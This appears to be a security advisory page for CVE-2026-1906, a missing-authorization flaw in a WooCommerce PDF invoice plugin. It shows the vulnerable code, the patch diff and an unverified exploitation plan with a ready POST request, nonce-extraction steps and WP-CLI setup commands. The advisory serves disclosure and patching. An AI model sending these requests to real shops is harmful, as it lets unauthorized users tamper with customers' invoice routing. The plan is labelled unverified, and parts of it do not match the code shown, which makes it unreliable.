CVE-2026-1906

PDF Invoices & Packing Slips for WooCommerce <= 5.6.0 - Missing Authorization to Authenticated (Subscriber+) Peppol Identifier Modification

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
5.7.0
Patched in
84d
Time to patch

Description

The PDF Invoices & Packing Slips for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.6.0 via the `wpo_ips_edi_save_order_customer_peppol_identifiers` AJAX action due to missing capability checks and order ownership validation. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify Peppol/EDI endpoint identifiers (`peppol_endpoint_id`, `peppol_endpoint_eas`) for any customer by specifying an arbitrary `order_id` parameter on systems using Peppol invoicing. This can affect order routing on the Peppol network and may result in payment disruptions and data leakage.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.6.0
PublishedFebruary 17, 2026
Last updatedMay 12, 2026

What Changed in the Fix

Changes introduced in v5.7.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to exploit **CVE-2026-1906**, a Missing Authorization vulnerability in the **PDF Invoices & Packing Slips for WooCommerce** plugin. ### 1. Vulnerability Summary The plugin provides an AJAX action `wpo_ips_edi_save_order_customer_peppol_identifiers` intended to …

Show full research plan

This research plan outlines the steps to exploit CVE-2026-1906, a Missing Authorization vulnerability in the PDF Invoices & Packing Slips for WooCommerce plugin.

1. Vulnerability Summary

The plugin provides an AJAX action wpo_ips_edi_save_order_customer_peppol_identifiers intended to save Peppol/EDI identifiers (Electronic Address Scheme and Endpoint ID) for an order. The vulnerability exists because the handler for this AJAX action fails to perform capability checks (e.g., current_user_can( 'manage_options' )) or validate that the user making the request is the owner of the order. This allows any authenticated user (Subscriber level and above) to modify the Peppol routing information for any order and its associated customer.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpo_ips_edi_save_order_customer_peppol_identifiers
  • Method: POST
  • Required Role: Subscriber or higher
  • Vulnerable Parameters:
    • order_id: The target WooCommerce order ID to modify.
    • peppol_endpoint_id: The new Peppol identifier (e.g., 0088:123456789).
    • peppol_endpoint_eas: The Electronic Address Scheme code (e.g., 0088).
  • Preconditions:
    • The plugin must have EDI/Peppol functionality enabled.
    • An electronic invoice format (like ubl_peppol_30) must be selected in settings.

3. Code Flow

  1. Registration: In includes/Admin.php, the action is registered:
    add_action( 'wp_ajax_wpo_ips_edi_save_order_customer_peppol_identifiers', array( $this, 'ajax_edi_save_order_customer_peppol_identifiers' ) );
  2. Entry Point: A POST request to admin-ajax.php with action=wpo_ips_edi_save_order_customer_peppol_identifiers triggers the ajax_edi_save_order_customer_peppol_identifiers method.
  3. Processing: The handler extracts order_id, peppol_endpoint_id, and peppol_endpoint_eas from $_POST.
  4. Vulnerable Sink: It calls wpo_ips_edi_maybe_save_order_peppol_data() (found in wpo-ips-functions-edi.php) or similar internal logic.
  5. Persistence:
    • _peppol_endpoint_id and _peppol_endpoint_eas are updated in the order's meta data (WC_Order::update_meta_data).
    • If the order has an associated customer ID, the user meta keys peppol_endpoint_id and peppol_endpoint_eas are updated for that user.
  6. Authorization Failure: No check is made to ensure the user has administrative privileges or that get_current_user_id() == $order->get_customer_id().

4. Nonce Acquisition Strategy

The plugin enqueues the required scripts and nonces on pages where Peppol fields are present, such as the Checkout page or the My Account address edit page.

  1. Setup: Create a page with the WooCommerce Checkout shortcode.
  2. Action: Navigate to the Checkout page as the Attacker (Subscriber).
  3. Extraction: Use browser_eval to find the localized nonce. The plugin typically localizes these under an object named wpo_ips_edi or wpo_wcpdf_admin.
  4. Target Variable: Based on standard plugin patterns, look for:
    • window.wpo_ips_edi?.nonce
    • window.wpo_wcpdf_admin?.nonce
    • Or specifically for this action: window.wpo_ips_edi?.save_peppol_nonce

Note: If no specific nonce is found, the handler may be using a generic nonce or potentially skipping verification if check_ajax_referer is omitted.

5. Exploitation Strategy

  1. Identify Target: Determine the order_id of a victim's order (e.g., via simple enumeration if IDOR is possible elsewhere, or by creating a test order as an Admin).
  2. Prepare Payload:
    • action: wpo_ips_edi_save_order_customer_peppol_identifiers
    • order_id: [VICTIM_ORDER_ID]
    • peppol_endpoint_id: 0088:attacker-controlled-id
    • peppol_endpoint_eas: 0088
    • security: [EXTRACTED_NONCE]
  3. Execute Request: Send the payload via the http_request tool.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=wpo_ips_edi_save_order_customer_peppol_identifiers&order_id=123&peppol_endpoint_id=0088:999999999&peppol_endpoint_eas=0088&security=a1b2c3d4e5

6. Test Data Setup

  1. Enable EDI:
    wp option update wpo_ips_edi_settings '{"enabled":"1","format":"ubl_peppol_30"}' --format=json
    
  2. Create Victim: Create an Admin user and a "Victim Order".
    wp user create victim victim@example.com --role=administrator --user_pass=password
    wp wc order create --customer_id=$(wp user get victim --field=ID) --status=completed
    # Note the returned Order ID (e.g., 123)
    
  3. Create Attacker:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    
  4. Prepare Checkout: Ensure a page with [woocommerce_checkout] exists to find nonces.

7. Expected Results

  • The server should return a success status (often wp_send_json_success returns {"success":true}).
  • The _peppol_endpoint_id meta value for Order 123 should change to the attacker-supplied value.
  • The peppol_endpoint_id user meta for the Victim user should also change.

8. Verification Steps

  1. Check Order Meta:
    wp post primary-generate-peppol-meta 123 --meta_key=_peppol_endpoint_id
    # Or using standard wp post meta:
    wp post meta get 123 _peppol_endpoint_id
    
  2. Check User Meta:
    wp user meta get $(wp user get victim --field=ID) peppol_endpoint_id
    

9. Alternative Approaches

If the order_id is validated but the user meta is still updated, focus on the user-level IDOR. If check_ajax_referer fails, try checking if the nonce is enqueued on the wp-admin dashboard for all logged-in users, as Subscribers can access the dashboard in default WooCommerce configurations.

Research Findings
Static analysis — not yet PoC-verified

Summary

The plugin is vulnerable to an Insecure Direct Object Reference (IDOR) due to missing capability checks and order ownership validation in the `wpo_ips_edi_save_order_customer_peppol_identifiers` AJAX action. Authenticated attackers with Subscriber-level access can modify Peppol/EDI routing identifiers for any customer by supplying an arbitrary order ID, potentially disrupting payments or redirecting sensitive invoicing data.

Vulnerable Code

// includes/Admin.php L896
public function ajax_edi_save_order_customer_peppol_identifiers(): void {
	if ( ! check_ajax_referer( 'generate_wpo_wcpdf', 'security', false ) ) {
		wp_send_json_error( array(
			'message' => __( 'Invalid security token.', 'woocommerce-pdf-invoices-packing-slips' )
		) );
	}

	$request  = stripslashes_deep( $_POST );
	$order_id = isset( $request['order_id'] ) ? absint( $request['order_id'] ) : 0;
	$values   = isset( $request['values'] ) ? $request['values'] : array();

	if ( empty( $order_id ) || empty( $values ) ) {
		wp_send_json_error( array(
			'message' => __( 'Invalid order ID or values.', 'woocommerce-pdf-invoices-packing-slips' )
		) );
	}

	$order = wc_get_order( $order_id );

	if ( ! $order ) {
		wp_send_json_error( array(
			'message' => __( 'Order not found.', 'woocommerce-pdf-invoices-packing-slips' )
		) );
	}

	$customer_id = is_callable( array( $order, 'get_customer_id' ) )
		? $order->get_customer_id()
		: 0;

	wpo_ips_edi_peppol_save_customer_identifiers( $customer_id, $values );

	wpo_ips_edi_maybe_save_order_peppol_data( $order, $values );

	wp_send_json_success( array(
		'message' => __( 'Peppol identifiers saved successfully.', 'woocommerce-pdf-invoices-packing-slips' ),
	) );
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-pdf-invoices-packing-slips/5.6.0/includes/Admin.php	2026-01-19 14:01:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woocommerce-pdf-invoices-packing-slips/5.7.0/includes/Admin.php	2026-02-09 11:58:20.000000000 +0000
@@ -894,41 +894,69 @@
 	 * @return void
 	 */
 	public function ajax_edi_save_order_customer_peppol_identifiers(): void {
+		// Nonce check.
 		if ( ! check_ajax_referer( 'generate_wpo_wcpdf', 'security', false ) ) {
-			wp_send_json_error( array(
-				'message' => __( 'Invalid security token.', 'woocommerce-pdf-invoices-packing-slips' )
-			) );
+			wp_send_json_error(
+				array(
+					'message' => __( 'Invalid security token.', 'woocommerce-pdf-invoices-packing-slips' ),
+				)
+			);
+		}
+
+		// Authorization.
+		if ( ! current_user_can( 'edit_shop_orders' ) ) {
+			wp_send_json_error(
+				array(
+					'message' => __( 'You do not have permission to perform this action.', 'woocommerce-pdf-invoices-packing-slips' ),
+				),
+				403
+			);
 		}
 
 		$request  = stripslashes_deep( $_POST );
 		$order_id = isset( $request['order_id'] ) ? absint( $request['order_id'] ) : 0;
-		$values   = isset( $request['values'] ) ? $request['values'] : array();
+		$values   = isset( $request['values'] ) && is_array( $request['values'] ) ? $request['values'] : array();
 
-		if ( empty( $order_id ) || empty( $values ) ) {
-			wp_send_json_error( array(
-				'message' => __( 'Invalid order ID or values.', 'woocommerce-pdf-invoices-packing-slips' )
-			) );
+		if ( ! $order_id || empty( $values ) ) {
+			wp_send_json_error(
+				array(
+					'message' => __( 'Invalid order ID or values.', 'woocommerce-pdf-invoices-packing-slips' ),
+				),
+				400
+			);
 		}
 
 		$order = wc_get_order( $order_id );
 
 		if ( ! $order ) {
-			wp_send_json_error( array(
-				'message' => __( 'Order not found.', 'woocommerce-pdf-invoices-packing-slips' )
-			) );
+			wp_send_json_error(
+				array(
+					'message' => __( 'Order not found.', 'woocommerce-pdf-invoices-packing-slips' ),
+				),
+				404
+			);
 		}
 
-		$customer_id = is_callable( array( $order, 'get_customer_id' ) )
-			? $order->get_customer_id()
-			: 0;
+		// Ensure the current user can edit this order in admin.
+		if ( ! current_user_can( 'edit_post', $order->get_id() ) ) {
+			wp_send_json_error(
+				array(
+					'message' => __( 'You do not have permission to edit this order.', 'woocommerce-pdf-invoices-packing-slips' ),
+				),
+				403
+			);
+		}
 
-		wpo_ips_edi_peppol_save_customer_identifiers( $customer_id, $values );
+		$customer_id = is_callable( array( $order, 'get_customer_id' ) ) ? (int) $order->get_customer_id() : 0;
 
+		wpo_ips_edi_peppol_save_customer_identifiers( $customer_id, $values );
 		wpo_ips_edi_maybe_save_order_peppol_data( $order, $values );
 
-		wp_send_json_success( array(
-			'message' => __( 'Peppol identifiers saved successfully.', 'woocommerce-pdf-invoices-packing-slips' ),
-		) );
+		wp_send_json_success(
+			array(
+				'message' => __( 'Peppol identifiers saved successfully.', 'woocommerce-pdf-invoices-packing-slips' ),
+			)
+		);
 	}

Exploit Outline

The attacker requires an account with at least Subscriber privileges to obtain a valid security nonce and hit the AJAX endpoint. 1. Log in as a Subscriber and obtain the `generate_wpo_wcpdf` nonce (commonly localized in the `wpo_wcpdf_admin` or `wpo_ips_edi` JavaScript objects on WooCommerce checkout or account pages). 2. Identify a target `order_id` (e.g., via order enumeration). 3. Send a POST request to `/wp-admin/admin-ajax.php` with the `action` set to `wpo_ips_edi_save_order_customer_peppol_identifiers`. 4. Include the target `order_id`, the stolen `security` nonce, and a `values` array containing the desired `peppol_endpoint_id` and `peppol_endpoint_eas`. 5. Upon success, the plugin updates the order meta and the associated customer's user meta with the attacker-controlled Peppol identifiers.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.